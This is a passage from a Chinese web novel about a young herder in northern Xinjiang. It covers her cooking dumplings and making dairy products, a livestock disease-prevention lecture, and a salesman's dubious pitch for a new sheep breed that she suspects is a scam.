她确实对国外有没有更优良的品种不太清楚，虽然说每种羊的妊娠期不一样，山羊和绵羊的也不一样，但是其实真算起来，前后也就差10天左右，最短的妊娠期大概138天、139天这样，最长的是154天、155天这样。 那就又回到了她最开始担心的这个问题，除非让母羊生下来半个月一个月后立马再怀。 所以越了解那些知识后姚新泉越觉得没必要非得追求一年两胎，像湖羊身上，不管是两年三胎还是每胎好几个羊羔的基因都很好啊！ 那这个所谓的良种这么宣传是因为什么呢？ 要说她感兴趣倒也不至于，国外的品种能不能适应这边的环境还不好说呢！ 再说了家里湖羊九十月份也会生的，到时候羊羔大了再配阿勒泰羊，她自己都有希望得到很好的羊羔，图人家的干嘛？ 至于疫苗的话她确实不太了解，倒是可以去听一听，如果说确实是好东西的话她也不介意引进。 当然了，前提是东西真的是好东西。 下午师月江专门回来通知了她一件事情，“什么，你给我报了驾校？” 师月江点头，把单子递给她，“你抽空哪天去市里做个体检，要测视力听力这些，大哥给我打电话了，说是车都到市里了，让我抽空去提。” 他不好意思道，“大哥还说，本来听说南方已经在改革，车是可以登记在个人名下的，但是后来又去确定了一下，目前还不行，所以这车还是挂靠在公司名下的，等放开了之后大哥说再给你提一辆新的。” 师月江满脸都是笑意，他哥跟他说这个话的时候感觉又是愧疚又是尴尬的。 姚新泉无奈，“你们有钱人真的是！师大哥能给咱们用车我已经跟感激了，他倒怎么还不好意思上了？” 这是四个轮子的车，又不是自行车？就算自行车可还没家家户户都有呢！ 她这都占了别人多大的便宜了？ “我早就有驾照，但你也得去考一个，到时候你自己也能开。” 姚新泉想了想没拒绝，如果未来真放开了车辆登记和购买的话，那说明未来车子的数量绝对不少，再说了，也只是一个技能，学会了不会亏的。 “行”，她又把协会要开会的事情说了，师月江听她分析后也觉得不大对，“牲畜的事情不好说，那个疫苗的话，我记得国家管控的是很严格的，上市是需通过农业部审批，取得《兽药生产许可证》和产品批准文号，生产过程也得符合国家质量标准。有一些像是口蹄疫的疫苗还是国家指定企业生产，并实行计划调配，确保防疫需求的，你到时候可以关注一下这些，有什么问题咱们再想办法查。” 疫苗这个事情不是开玩笑的，关乎 多少牧民的全部身家，容不得一点作假的。 “你跟我想到一块儿去了，牛羊这些东西，说不好听一点，就算没办法一年几胎几胎的，或者肉质一般的，但那到底是肉，再不好的肉那也是有市场的，只要不死，赔也赔的有限”，如今国内有几户人家餐桌上顿顿都有肉？肉还是供不应求的。 肉质差一点或者瘦一点，了不得稍微便宜一些啊！ “像口蹄疫疫苗、猪瘟疫苗、狂犬疫苗之类的这些，死亡率那么高，一旦感染上了对牧民来说绝对是”，姚新泉叹了口气摇了摇头没再说下去。 反正她已经打定主意了，要是没什么问题也就罢了，如果有问题的话，一定不能放过那些人！ 牧民那么难，他们还想着来骗钱！ 师月江安抚了她两句又下山去盯着那边修了，姚新泉提上袋子，又拎了个小铲子出门挖野菜了。 前面她就注意到了，离生活区这边不远的地方有一处有好多马齿苋，趁着还嫩，她打算挖回来，现在也能吃，剩下的都晒干。 冬天只有萝卜白菜这些的时候，马齿苋包子可不要太好吃！ 还有苜蓿，再去掐点尖回来，无论是包饺子还是凉拌都好吃，剩下的也能晒成菜干，冬天菜不多，得现在就开始囤。 第140章 姚新泉舀了小半盆微微泛黄的面粉出来,家里的面粉全都是他们直接从种麦子的人家买的当季的麦子后去让人家现磨的，面粉、麸皮都给她，她正常付手工费。 这种面粉吃起来又香又安全,不像外面,听说已经有地方在往面粉里加什么增白剂,就是为了让面粉看起来更白,没有杂质。 实际上那个破增白剂就是最大的杂质！ 家里的面粉是自己磨的,油是自己榨的,家里虽然没种地但是可以直接买，也还算方便。 本地没有水稻自然也就不产大米，不过无所谓，姚新泉不喜欢吃米饭,师月江则是吃什么都可以,所以两人基本上都是吃面。 往盆里加了适量清水后又加入一小撮的盐,增加面粉的筋性。 先用筷子搅拌成絮状，然后揉成面团，盖上盖子让面醒发,本地太干了,那面团在外面放5分钟就得皴。 面和好后姚新泉又去择菜，这苜蓿她全都是掐的最嫩的尖儿,家里牧场上最多就是上了点系统给的配方弄得农家肥,也没化肥农药,洗干净就行。 烧水把苜蓿稍微焯一下,然后挤干水分，切一下但不用切得太碎。 她又翻出师月江刚提回来地一块儿后腿肉，去皮后清洗干净，剁成肉馅后加入酱油、盐还有胡椒粉姜葱末,再顺着一个方向搅拌。之后再放入切碎的苜蓿，倒入适当的油锁住水分。 无论是苜蓿饺子还是茴香饺子或者马齿苋包子这些都得油大才好吃，完全不会腻，特别香！ 馅料调好后，面也发的差不多了，她开始擀皮包饺子。 师月江来了之后她很少再做饭了，就算做那也顶多就是打打下手，或者炒个菜这样，很少有自己做饭的时候。所以当师月江赶着回来做饭后看到姚新泉已经包了两盖帘饺子后不免有些惊讶，但又很高兴，“我烧水煮饺子！” 他也没闲着，剥蒜调料汁，姚新泉两人的饺子包完后，她又把提前备好的另外的馅递给师月江，“给他们蒸吧，死面吃起来也不消化，就不给包了。” 在师月江了然含笑地眼神中姚新泉没好气地瞪了他一眼，她就是不想包怎么了？ 师月江含笑不语，另外起锅把马齿苋烫熟后也没放别的，就放了些蒜末、盐和香油，拌匀后尝了一口又喂给姚新泉，“怎么样？” 姚新泉点头，“好吃。” 师月江不算喜欢马齿苋的口感，但也不算讨厌，但姚新泉喜欢吃他也乐意学着凉拌。 马齿苋和别的野菜不太一样，它的叶片和茎中都带着一股黏液，口感滑溜溜的很特别，跟一般野菜清爽或者清脆的口感不一样。 晒干之后的马齿苋就没这种滑溜溜的感觉了，只是单纯的有一股特殊的味道，他更喜欢晒干后的。 姚新泉端着盘子接过筷子就站在厨房里跟他你一口我一口地吃着凉拌马齿苋，师月江在锅里注了三次凉水后捞起饺子问她，“尝尝？” 姚新泉赶忙摇头，“我有点尝不太出里面的肉熟没熟你又不是不知道？” 师月江弯着眼睛笑，“我不会夹生肉给你吃的。” 姚新泉瞪他，他尝了尝后点头，“你调的馅真香！” 姚新泉用力点头，“那可不，下次给你调茴香馅的饺子，我最喜欢吃的馅是茴香大肉的，白菜大肉、芹菜大肉的我也都喜欢，不过那个可以等秋冬再吃。” 师月江点头，他虽然也是北方人，但是家里不算喜欢吃饺子，不过跟姚新泉相处之后才知道，她是真喜欢吃饺子啊！ 今天高兴，包个饺子吧！ 今天不知道吃啥，包个饺子吧！ 今天懒得做饭，煮个饺子吧！当然了，现在这个天儿放不住，冬天的时候那阵师月江还不怎么会做饭，有一次他俩吃了两天的饺子…… “吃饭！” 饭后师月江又下山了，姚新泉处理提前留下来的100公斤牛奶。听起来多，但实际上还好。 按姚新泉的打算，一部分做酸奶，一部分熬奶皮子，还有加糖熬酱跟做奶酪。酸奶可以多做一点，分出一部分做奶疙瘩。 说干就干，姚新泉把家里的钢筋锅刷洗干净，里面倒满牛奶开始煮沸，另外又把之前用来给小动物们煮麸皮水的大铁锅搬了出来刷洗干净用来煮□□做奶皮子。 倒也不是她邋遢，主要家里锅都不大，就这个最大了，而且麸皮也是从麦子里分离出来的，又不脏。 大铁锅在煤气灶上放不住，再加上要不停地扬奶，她干脆搬了个小凳子坐在炉子边上，一边小火煮□□一边扬奶。 把牛奶扬起来增加牛奶跟空气的接触能促进脂肪凝结，另外还能使奶皮增厚、形成多层皱皮，口感更浓郁。 被火烤的热得不行，姚新泉跑回屋洗了把脸，又翻出了个扇子一边扇风一边煮□□。 另一边钢筋锅里的牛奶开了后沸腾了一会儿姚新泉就把火关了，先放在一边晾着，这边接着扬，然后停下来等冷却。 过了一会儿见牛奶锅上方形成了一层厚厚的奶皮子后她拿筷子小心挑起，控干水分后干脆就放在篦子上晒干。至于锅里则是继续熬煮着，不久又形成了一层奶皮子，等这锅熬得差不多了她才松了口气。 太热了！ 又熬了一锅的奶皮子后姚新泉稍微刷了下锅，确认没有粘锅，又重新熬了一锅□□，小火满煮，等开了后倒入大量的糖，然后用勺子在锅里缓慢搅动防止粘锅，直到牛奶变得粘稠后才停手。 她翻出了几个罐头瓶，擦洗干净确保无水无油然后将已经放凉的粘稠的酱舀到里面密封保存，也能保存一段时间，不管是蘸馍馍吃还是充水都可以。 另一边牛奶也凉了，她将买来的酸奶作为引子兑到牛奶里去翻版均匀后，将牛奶倒到一个干净的无水无油的塑料桶里密封发酵。 随后又煮了一锅牛奶，继续做酸奶，虽然太热了，但是奶皮子还要做，不然不好处理，酱就算了，太甜了，能吃好久呢！ 师月江回来地时候整个院子都弥漫着一股甜甜的奶香，看着被腌入味儿，脸都热的红扑扑的姚新泉他笑得不行，“你等我晚上回来弄嘛，热不热？” 姚新泉把锅搬到了回廊下面，因为晒不到太阳，她就把上衣拖得只剩一件工字背心，但还是热的浑身是汗。 “这不是怕放不住嘛”，姚新泉叹气，“奶皮子不能做了，做了一下午，我小命都要搭进去了，等晾干之后咱俩留一点，再给你哥给一点拉倒，再不做了！” 师月江进去投洗了条毛巾出来给她擦了擦脸，“不做就不做了，之后留的牛奶最多就做点酸奶算了。” “再说了酸奶发酵好了还能做奶酪和酸奶疙瘩，不用非要做奶皮子，要做的话以后等我回来再做。” 姚新泉点了点头，她本来是想着给两人还有家里这么多小朋友添点儿零食，现在觉得做什么做？喝牛奶不行吗？不行就喝酸奶！ 晚上姚新泉实在是不想做饭了，师月江回来接手，他煮了过水面，家里黄瓜没大的了，但有他在山下买的，又烫了点苜蓿尖作为配菜。 之后把之前炒好的肉挖了一勺子出来，加了西红柿、土豆炒了个哨子，又炒了个沙葱鸡蛋，洗了一头皮牙子切开两人就着面生吃。 看着师月江生吃皮牙子姚新泉眼中满是笑意，“你现在越来越像新省女婿了。” 师月江看着手中的白皮洋葱笑得很无奈，他在内地吃的都似乎紫皮洋葱，跟北疆这边的白皮洋葱估计不是一个品种，口味都不大一样。 内地那边的洋葱辣味重，而且刺激性强，生吃的话多吃两口就觉得烧心，一般都是炒菜作为配菜吃的。但是洋葱炒熟了之后，师月江又不喜欢那个口感，所以基本不怎么碰洋葱。 但是来了这边才知道原来洋葱有不同的品种，这边的皮牙子相比内地的来说甜度要更高，辣味也更轻，生吃时脆嫩多汁，甚至带有淡淡的回甘，甚至感觉跟两种食物一样了。 他虽然不至于抱着个皮牙子当水果吃，但是在吃面的时候就着吃或者凉拌吃还是很能接受的。 “明天一早我要去市里，家里的事情你得操心一下了，家里细毛羊我估摸着再有大半个月也得生了，现在虽然还在往外放，但得调整下饮食，看看谁家有胡萝卜吧，到时候给它们每天喂上一些，再拌点麸皮，就不给它们喂专门的维生素了，我看它们状态还可以，应该没什么大问题。” “胡萝卜你让村里缪婶儿去帮着收一下，早晨我跟你一起喂完再走，你还正常去干活，奶制品厂的事情也不能耽搁，总不能你哥那边机器都到了，你这边厂子还没弄起来吧？” 厂子也很重要，虽然也不能说让县里的人把牛奶拉走是浪费，但是在经济层面来讲，她确实心疼啊！ 她又不是大款，她明明背了一屁股债！ 140-150 第141章 第二天一早姚新泉就爬起来跟师月江两人把牲畜喂了,还给小动物们把药都换上了。 “细毛羊也快生了，上次的事情虽然没伤到羊羔，但是估摸着还得给它们补补”,这批大的细毛羊怎么处理还没想好,小羊羔子的话那是肯定要卖出去的,所以也得好好养着,顺利生产才是真的。 “怎么补你说,我照着做就是了。” “也不用特别喂药或者喂维生素之类的,给它们喂点儿胡萝卜吧，你回头去村里缪婶儿家跟她说一声，让她打听打听谁家还有去年冬天存的，再给拌点麸皮也就行了。” 师月江还以为啥呢,听了也不复杂这才放下心来,“成,我过会儿就去问问。” 两人吃完饭后师月江骑着自行车带着她去了车站，“你赶紧去体检，回头把驾照考出来这样你出行也方便了,这大巴车又挤,时间又不准的，多费劲儿啊！而且你到了市里还得再倒公交,赶紧考吧！” 姚新泉好笑地用头撞了撞他的后背,“行了行了知道了大款！”要不是他跟他哥,自己几年内至少是绝对不会买车的,但既然买了，那该用的就得用，没必要矫情。 上车前师月江塞给她两个洗过的油桃，“行了,那我先回了啊！” 姚新泉啃了口桃子朝他挥了挥手。 到了市里又转了公交车后好不容易到协会了，赵媛媛一见着她便赶忙挥手，“你说你，我叫你出来玩那么多次你也不出来！” 姚新泉无奈摊手，“姑娘，我在县里，下山再出来一趟那是真不容易啊！” 赵媛媛只是随口这么一说，也没想怎么着，她性格外向喜欢交朋友，动不动就约朋友出来玩，但姚新泉毕竟太远了也实在是没办法。 “快来，先签到吧！” 姚新泉签到后看了下时间已经10点50了，11点的会，本来还想问问这个来宣讲的什么来头，但时间来不及只能先算了。 姚新泉去了大会议室，见里面已经来了不少人，她也没挑地方，随便找了个空位便坐了下来。没一会儿会长赵强带着一位四十来岁的中年男性进场。 两人在台上坐定后赵强才笑着给大家介绍，“这位是咱们市防疫站下面防疫科的张同志，相信大家来之前也了解过今天大概的学习内容。因为咱们协会的会员无论是个体户还是国营单位，咱们的规模都不算小，上百头牛羊还是有的。一旦有点意外，那损失可就不可估量了。所以我们协会联合防疫科的同志们共同组织了这次讲座，让大家未来无论是在日常生活中还是在意外事件中都能更好地去保护自身的财产安全。多的我就不赘述了，下面有请张同志进行演讲！” 众人都在欢迎，但姚新泉看了看，总觉得不少人是带着工作任务过来，而不是真想过来听，所以表情很是不以为然。 她也没在意，掏出本子和笔，打算看看对方讲的怎么样，如果有不错的点也可以学习学习。 张同志推了下眼镜说不上高兴，但到底是工作任务也没糊弄。 “我就直接进入主题了，今天我主要是分三部分来讲，第一部分就是咱们畜牧业日常的防疫，第二部分是针对自然灾害以及意外事件发生后，咱们畜牧业或者说养殖户的紧急措施，最后一部分是关于自然灾害及意外事件之后的事后防疫。” 姚新泉听罢心里在琢磨估计还是跟他们县的事情有关，果不其然，张同志接着就道，“这次的会议开展最直接的原因就是阿依巴勒县前几天的暴雨，相信在座的诸位不少都知道这事，应该也有不少同志就是本地人吧！在暴雨范围内受到直接影响的同志不好过，但实际上咱们市基本每个县在那期间都在下雨，区 别也只是雨大小的问题，但有一些事后措施哪怕是小雨覆盖范围内的地区一样可以酌情使用。” “另外，一些应急措施诸位也是有必要了解一些的，毕竟天气预报这种事情确实不是很好说”，赵强觉得不大对劲了，心都提到了嗓子眼，赶忙清了清嗓子，张同志听到后若无其事地调整了话题，接着讲防疫的问题。 姚新泉目光在赵强身上停留了一瞬，似乎是有内情啊！ 赵强头都大了！ 不是所有事情都能拿到台面上来说啊！ 他早几年也是在体制内混的，当时上面要在各地成立这个畜牧业协会，这本来就是个带着半官方性质的协会，政府又在推动“政企分开”“政社分开”，部分行政职能逐步向行业协会转移。将体制内人员安排到行业协会，也是希望能协助过渡和进行专业化管理。 他干不了多少年就退休了，因为各种原因也没什么“仕途”可谈了，所以便主动请缨来了这里，但是不代表他在体制内混了这么多年的人脉没了啊！ 这阵子市里不算太平静呢！ 说起来赵强就觉得阿依巴勒县那个副县长可真是勇啊！好多事情直接捅到市里来了，人家说了，县里该追责的已经在调查追责，他们作为县里的领导该承担的责任也不会逃避，但是市里有问题的单位也不能跑！ 那大雨下来之前就没有一家气象单位发现有问题？ 再往上追他觉得意义不大，毕竟技术受限，让人家北京的工作人员监测北疆的天气变化，他不是专业人士，但总觉得应该不是件简单的事情。 可本县的，本市的监测不出来这合理吗？ 他这往上一闹市里领导也开始查，这一查就发现问题了。他们县又是安排在职人员去学习培训，又是引进人才，就这样都出了问题，更别说没有去好好治理过得市里了！ 反正据赵强所知，揪出了一堆只知道记录数据混日子的老油子！ 他瞄了张同志一眼，这位专业能力不差，所以他才请这位过来的，但问题也有，这位太耿直了！ 这不，刚才话里的怨气都冲天了啊！ 唉！ 他低头拿笔记录，就听张同志接着道，“日常防疫中，每日清理粪便这是老生常谈了，各个县里的防疫站应该也都跟诸位做过宣传，如果有哪里没宣传到位的，诸位可以来我这边登记。” 赵强扶额苦笑，这不是让人检举吗？ 姚新泉也暗暗笑了起来，就听他又道，“同时我们还建议大家每周都要进行消毒，针对地面和墙壁用10%~20%石灰乳或2%~3%烧碱溶液喷洒，针对铁锹和扫把、叉子之类的工具要用0.1%高锰酸钾浸泡消毒”。 至于为什么是建议，还不是因为这都要成本？看着一次钱好像不算多，但是累积起来不算小钱，不是每个人都乐意花的！ “疫苗的话防疫站跟兽医站应该也有联系诸位去给家里牲畜注射，比如说口蹄疫疫苗、牛羊炭疽疫苗、羊痘疫苗以及布病疫苗等等，有的是规定必须要打的，有的是建议要打的，这一点各个县镇每个月也都在做宣传。” “另外还有牲畜的驱虫以及新买回来牲畜的隔离等问题想来大家都清楚，我也就不再多说”，他举起手中的一本宣传册，“这是县里的畜牧业日常防疫办法，大家会议结束后可以来领取，如果有不懂的也可以问我，我们也会时刻关注下级防疫站和兽医站的工作情况。稍后我会把我们办公室的电话提供给诸位，如果日后大家发现下级防疫站和兽医站的工作有什么问题，也欢迎大家来指证。” 赵强暗暗叹气，希望这是他们防疫站的意见而不是他一个人的意见吧，不然自己倒无所谓，他回去估计得被骂啊！ 姚新泉心里心里记着等过会儿去领一份小册子，看看有没有要查漏补缺的，有些工作做在平时，能给日后省不少事情呢！ 张同志有可以放缓自己的语速，有些少民同志听得懂汉语，但是语速太快了他们就不太能接受了。 第一个阶段很快结束，毕竟日常的一些问题那是早就强调过无数遍了，今天再讲也只是希望大家能记住。 很快进入第二部分，“接下来就是关于如果出现意外事件或者自然灾害，咱们养殖户应该做什么或者说是能做什么？” “咱们北疆畜牧业相对来说最容易遇到的灾害包括雪灾、极端低温、旱灾、火灾以及狼灾，像是暴雨或者洪水其实在咱们本地遇到的次数不多，但该讲的还是得讲。” “首先就是雪灾，咱们北疆冬天从11月份开始气温就降下来了，下雪早的话11月份，最晚12月份那是肯定会下雪的，化雪怎么也得来年三四月份了，这将近半年的时间里本身就存在许多饲养的问题，一旦遇到雪灾那更是难上加难。” 底下不少看上去有些年龄的牧民纷纷点头，“腊月雪堵门，牛羊饿断魂啊！” 姚新泉也叹气，去年自家牧场因为存粮比较多，所以她冬天全是圈养的，从下雪之后就没有再放出去。 但有的人家没办法做到，有的是圈养条件不好，有的是饲料准备的不够多。 这种情况下，当积雪在十厘米以下的时候，牛羊通常可以刨雪觅食，而且本地的品种大多数都相对比较耐寒，所以倒也能接受，毕竟也能缓解牧民的饲养压力，但是雪大了那就不行了。 第142章 “冬天的时候各地的相关部门都会提前预测冬天的情况,提醒大家提前储备饲料，我是建议大家在条件允许的情况下准备的越多越好。当然了我知道肯定有人会说我说了句废话，但事实上就是这样,谁也不能保证天气预报的真实性和准确性对吧？” 赵强头疼,你咋还反复鞭尸啊？ 姚新泉心里也觉得好笑,搞不好这位同志并没有觉得自己在讽刺什么,只是实话实说呢！ “除此之外畜棚的保暖措施也得做好,该加固的也都得加固牢了,另外小羊羔或者牛犊子在温度确实低的情况下诸位根据实际情况可以考虑是否要单独安置，条件要好一点。” “下雪后也得赶紧清理屋顶的积雪，各位家里的畜棚修建的未必足够结实，积雪一压,冬天要是砸下来,那可就塔西浪①了！” 那种天气要是再受点伤,别想了，杀了吃肉吧！ “如果确实储存的草不够了，那牧民就得想办法看是清理一下地面积雪,让牲畜去啃食草根之类的,总得自救的！” 其实这些话也是老生常谈，这又不是什么新出来的办法或者创意,但有时候哪怕你天天在人耳边念叨,人家也未必听得进去啊！ 但他其实还挺想得开,尽人事听天命吧,人家自己都不在意的事情，他们交代再多有什么用？ 接下来又讲了关于遇到旱灾、极端天气以及狼灾之后该如何处理，等讲到洪灾和暴雨时张同事叹了口气，“咱们北疆真的很少遇到这种情况。” “咱们这边的气候还是以干旱少雨为主”,姚新泉点头，确实，这边是典型的温带大陆性气候，降雨相对来说稀少，而且主要是以降雪的形式实现的。 再加上因为地形原因，被天山、阿尔泰山、昆仑山等环绕，来自大西洋、北冰洋的微弱水汽在长途输送后难以形成强降水，因此一般情况下确实很难有暴雨或者洪水。 但也有特殊地区，北疆某个河谷地区就比较特殊，这边的地势由西向东倾斜，来自大西洋和北冰洋的湿润气流沿河谷深入，遇到天山抬升后，形成地形雨，因此这边的地区降水明显多于北疆其他区域。 别的地区一年降水量在150毫米到300毫米，但是这边能达到400到600毫米，也相对更容易造成山洪。 这次的情况就是这样。 也因为他们这边的特殊性，别的地方未必会遇到，但有些知识知道总比不知道好，提前了解了总比万一真遇到之后抓瞎要好。 “一旦遇到强降雨甚至是山洪，大家首先保保证的是自身的生命安全”，张同志强调，表情很是严肃，“别的什么都有可能重来，生命不会的。” “遇到这种情况不要心慌，尽量将牲畜转移到地势高的地方去，避免被淹死或者因为长期接触雨水而生病。也要尽早把电给切断”，现在除了深山老林里，不少村落都已经供电了，真偏远地区今天也来不了。 “一定要避免触电！” “喂养牲畜时不管是用水还是食物都要注意，饲料一定要注意不能喂食霉变的，水的话也不要直接饮用洪水，就算自来水断了，没别的水源，必须得用洪水，那也得进行处理。” “过滤，就算没有纱布，用棉布衣服之类的也可以，再静 置一段时间，有漂白粉的话，每升水加两滴左右，还得要煮沸”，他强调，“别觉得牲畜就无所谓，必须得煮沸，这是对我们来说最安全也是最简单的消毒杀菌方式。” 开玩笑呢，洪水里面可能有粪便、垃圾、农药、动物腐烂的尸体等等，直接饮用那不是找死吗？ “总之，条件允许的情况下，怎么对你们自己就怎么对它们。” 张同志喝了口茶也没休息接着进入第三个话题，“洪水褪去或者暴雨停了之后需要做的事情同样也很重要。” “首先就是关于尸体处理的问题，不算是你自家的还是上游漂下来的还是什么别的，只要遇到动物尸体，别放任不理，也别想着上去闻闻臭没臭，没臭就弄回家吃！” 众人都笑了起来，“你少吃那口肉死不了，但你要是吃了那口肉反而会死！” “对这些尸体，要么就深埋，然后撒上石灰粉消毒，要么就是焚烧，但是注意别引起山火。” “水退之后的畜棚清扫干净后还得消毒……” 他讲了许多，姚新泉细细听着，边听边做笔记，有些自己没做到位的地方回去再补一补。 像是补种口蹄疫疫苗她就没想到，上面好像也没有安排，这个回去之后跟艾力大夫问问看是防疫站那边来打还是兽医站他们自费，反正都行。 这不是她没事儿找事，毕竟洪水是有可能带着一些病毒过来的，这谁都说不好，再加上前两天温度那么低，又应激，小动物们免疫力都变差了，条件允许的话可以补种一下。 但是细毛羊还有湖羊就算了，都在妊娠期里。 母牛正常接种，在脖子上注射就行，小牛犊的话出生到现在时间还太短了，反正母乳里也有抗体，等再大一点再打吧！ 她心里盘算着计划，本子不知不觉记了好几页，等张老师讲解完毕站起身朝大家鞠躬的时候，姚新泉带头站起身鼓掌。 这位张同志讲的都是干货，也不来那种虚头巴脑的，她还蛮喜欢的。 上午的会议结束在12点30左右，姚新泉看了下表，又跑去问了下赵媛媛最近的医院从这儿去要多久。 赵媛媛嚼着口香糖想了想，“这边虽然算不上市中心，但也是市区了，这边医院多，你走路直接去最近的第一医院，十来分钟就到了，应该是1点半下班，搞不好来得及，不能下午再去吗？” 姚新泉摇了摇头，她也不清楚为啥会这样想，但是她确实有不太好的预感，下午那个会议开完不一定有时间干别的事情了。 赵媛媛耸了耸肩，“行吧，我自行车借你，中午我跟我爸一起走就成”，说着把车钥匙递给她，“就停在门口，我刷了粉色的漆，一眼就能认出来！” 姚新泉接过钥匙道了谢，确定好路线后小跑出去骑着车开始狂奔。 医院确实不太远，她到的时候也就12点50左右，人也不多，挂号没多久就排到她了。 姚新泉飞快做了视力、听力等简单的体检后在1点30之前拿着单子出来了。 看着手中的单子姚新泉笑了笑，折起来放好后她随便找了家饺子店吃了午饭，然后又去了新华书店转了一圈买了几本自己之前没看过的畜牧业相关书籍，收拾好东西感觉时间差不多了这才回到协会等着参加下午的会议。 也是体谅牧民们来市里一趟不容易，所以协会专门协调了时间，把事情安排在了同一天，这样就不用大家来回奔波了。 姚新泉把买好的一袋桃子递给赵媛媛，赵媛媛乐了，“就借你下自行车，你这么客气干嘛？” 姚新泉没说啥摆了摆手进了会议室，下午的课程是关于良种推广的，姚新泉反正怎么琢磨怎么觉得不对劲，但她也不排除有自己孤陋寡闻的可能性。 姚新泉准备好笔记本和笔坐在位置上静静看着赵强介绍，说这人是N省农科院出身，过来是推广农科院新培育出来的羊。 “咱们协会只是马进宝同志的一个平台，至于后续诸位是否要订购这个由各位和马进宝同志协商，协会这边不强制，好了，废话我也不多说了，欢迎马同志讲话！” 姚新泉听到这话都愣了，协会办这个活动不就等于是给人家背书吗？可你这突然又反口是怎么回事？ 马进宝身着一身洗的发白的藏蓝色的中山装，带着黑框眼镜，端着写着“农业学大寨”，边缘都被磨掉了瓷的杯子，有一种不合时宜的古板，姚新泉对他第一印象不好，总觉得这人看起来假模假样的。 像早晨的张同志，能看得出来他也就是普通家庭，所以身上也没什么值钱的装扮。他身穿一件打理得干净又板正的白色短袖衬衣，黑裤子，黑布鞋，一身都不贵，但是干净得体，衬衣也能应付的了今天这种半正式的场合。 但再看这位马进宝同志，你可以说他节俭，这是中华民族传统美德，没问题。但是这是什么天儿啊？中午可有三十度，穿着长袖中山装？不说别的，不热吗？ 这人给姚新泉的第一感觉就是，他希望你觉得他是一个节俭、朴素的研究人员。 只见马进宝都没看赵强，他脸上笑意依旧，“各位领导、同行、同志们下午好，我叫马进宝，是N省农科院的一名工作人员，我目前负责我们省农科院在咱们这片地区的良种推广。刚才赵会长说的是，不管我今天讲的怎么样，但具体要不要订购这事情是得由诸位了解了之后再说。况且到时候即便真的要订购那合同也是跟我们农科院直接签署，确实不是和协会之间签订三方合同。” “好了，先不提之后，我还是得先完成我的工作，好好跟大家介绍一下我们农科院出来的丰收三号绵羊，没错，这已经是我们农科院研发改进的第三代绵羊了！” 第143章 姚新泉缓缓在笔记本上记下“丰收三号”这几个字,旁边写着N省农科院以及马进宝几个字。 “我们改良‘丰收三号’最开始便有几个想要达到或者说是维持住的绵羊的优良性征，我们希望这羊能多胎、高产、适应性强，长肉还得快。” 他像是知道会被怀疑一样笑道,“我知道大家恐怕要说,我这是既要又要还要,天下哪有这样的好事情？” 有人低声笑了起来,姚新泉低下头冷笑一声,她不否认自己以貌取人,就像这个姓马的，这人嘴角有颗大痦子，一笑的时候那颗痦子就随着上下动啊动啊，看得她心烦！ “我年龄不算小了,但是我进农科院的时候这丰收一号都已经培育出来,十来年才培育到丰收三号,诸位想想这是我们研究人员多少年的心血啊！” 姚新泉继续皱眉，更不对了，这下应该不是她的错觉。 她虽然不是搞研究的,但是正常情况下,这种研究牲畜的研究院里，一代二代三代或者说是一号二号三号的排序应该是母本通过一定的杂交繁育产生了一代,在一代的基础上培育二代,在二代的基础上培育三代。 就像她家的样,湖羊作为母本,和杜泊羊生出来的这批羊就是一代，这批羊再跟阿勒泰羊杂交培育出二代羊。 如果这个时间紧凑一点，一年左右的时间，姚新泉就能得到自己想要的二代羊。 就算她为了能稳定一些性状做一些选育耽误下时间,就算两年好了，两年得到二代羊。 他的三代羊繁育了十来二十年？不合理吧！当然了，如果只是为了稳定性状那当她先入为主好了。 不过她也没说什么，还是继续听。 “我们培育出来的丰收三号良种羊一年可以产两胎，每胎基本都能保证在2-3只小羊羔，基本上六个月羊羔就能出栏，体重也能达到55公斤！” 众人一片哗然！这数据太理想了吧！ 姚新泉抿唇，她没说什么，但是在姚新泉心里，这人就算不是骗子，那也是虚假宣传了。 前面赵强那 么敷衍地介绍了一下这人，话里话外都在撇清干系，做的真不算好看。 再看现在，对方跟张同志讲座的时候可不一样，他现在耷拉着头，不知道在想着什么，手中的钢笔无意识地晃动着，人在这里，魂儿早都飞了！ 可如果他不信任这人，或者发现了什么，为什么不阻止呢？他还专门叫了自己过来？他又是图什么？只是顺便还是其他？ 还有，这人能蹭上协会的平台，哪怕赵强并不十分乐意但也依旧只能阻止又是因为什么？他真有官方背景还是什么别的原因？ 姚新泉头疼，直觉告诉她这不是件小事。 在座的众人内心也都不是很平静，姚新泉探头看了一圈，果然，小平安的前主人阿合买提没在，早晨就没来，其他人她也不认识。萨伊普种羊场倒也来人了，但是来的人她也不认识。 姚爸是个很热情很会社交的人，但姚新泉不是，在父母去世后除了继续在家里工作的马合木提江夫妇二人之外，她也没有维系住姚爸姚妈之前的人脉。 她不是个内向的人，但是对于姚新泉来说，维系人际关系可比每天干重体力活要累得多…… 没看回来这么久，她这么多年的同学，正儿八经联系的也就楼宇一个吗？就更不要说其他人了，所以在场的养殖户她是一个都不认识。 马进宝见众人情绪被吊起来了，虽然怀疑居多，但眼神中还是忍不住闪过一丝得意。 “我猜大家都会说怎么可能，会有许许多多的疑问，接下来我就给大家解惑，用事实告诉大家，没什么不可能的！” 他把自己提前准备好的一沓照片和文件拿了出来，“诸位请看，这是我们的育种记录档案，还有羊的生产性能数据，还有适应性测试报告”，马进宝很是自信，他的自信让姚新泉都开始不自信了，不会是真的吧？ “这里面有我们测试的各项数据，这些文件下面也基本都盖了我们研究院的公章还有院长签字。” “还有证明遗传稳定性的文件等等，这些文件诸位可以传着看看”，说着他把文件递了下去，虽说大家不一定能看得明白，但是也都积极纷纷传看，姚新泉也拿到了一份。 她手上的这一份是适应性测试报告。 可不薄啊，看起来二十来张纸呢！ 姚新泉记录了几个关键数据，刚想继续翻看就被旁边的人拿走了，她也没说什么，又在笔记本上写下了几个问题。 看着台下众人一个比一个激动，恨不得当场拍板购买的模样，马进宝忍不住低下了头，可不能让人家看到自己笑成这样啊！ “资料都在这里，大家有什么有疑问的地方吗？” “我有”，一个老汉站了起来，“同志，我看不太懂这些蝌蚪一样的字儿，我就想问问，你说这样这么好，能适应咱们本地气候吗？冬天咱这儿可冷呢！” 不少人出声附和，可不是嘛，最冷的时候零下三十度呢！内地那边的羊娃子能适应？ 再好的羊来了这冻死个球的有什么用？ 马进宝毫不慌张，他示意老同志先坐下，“这位同志问的好，我刚才说了，我准备的材料里就包括了适应性测试报告，里面就有关于我们羊的测试情况”，见老汉还想说话，他摆了摆手示意他等一下，“我跟你们讲一下大概的测试结果，那就是咱们羊能适应全国的气候，耐寒又耐旱，绝对能在咱们本地生存下来，并且长得很好！” 姚新泉笑了，能适应全国的气候？ 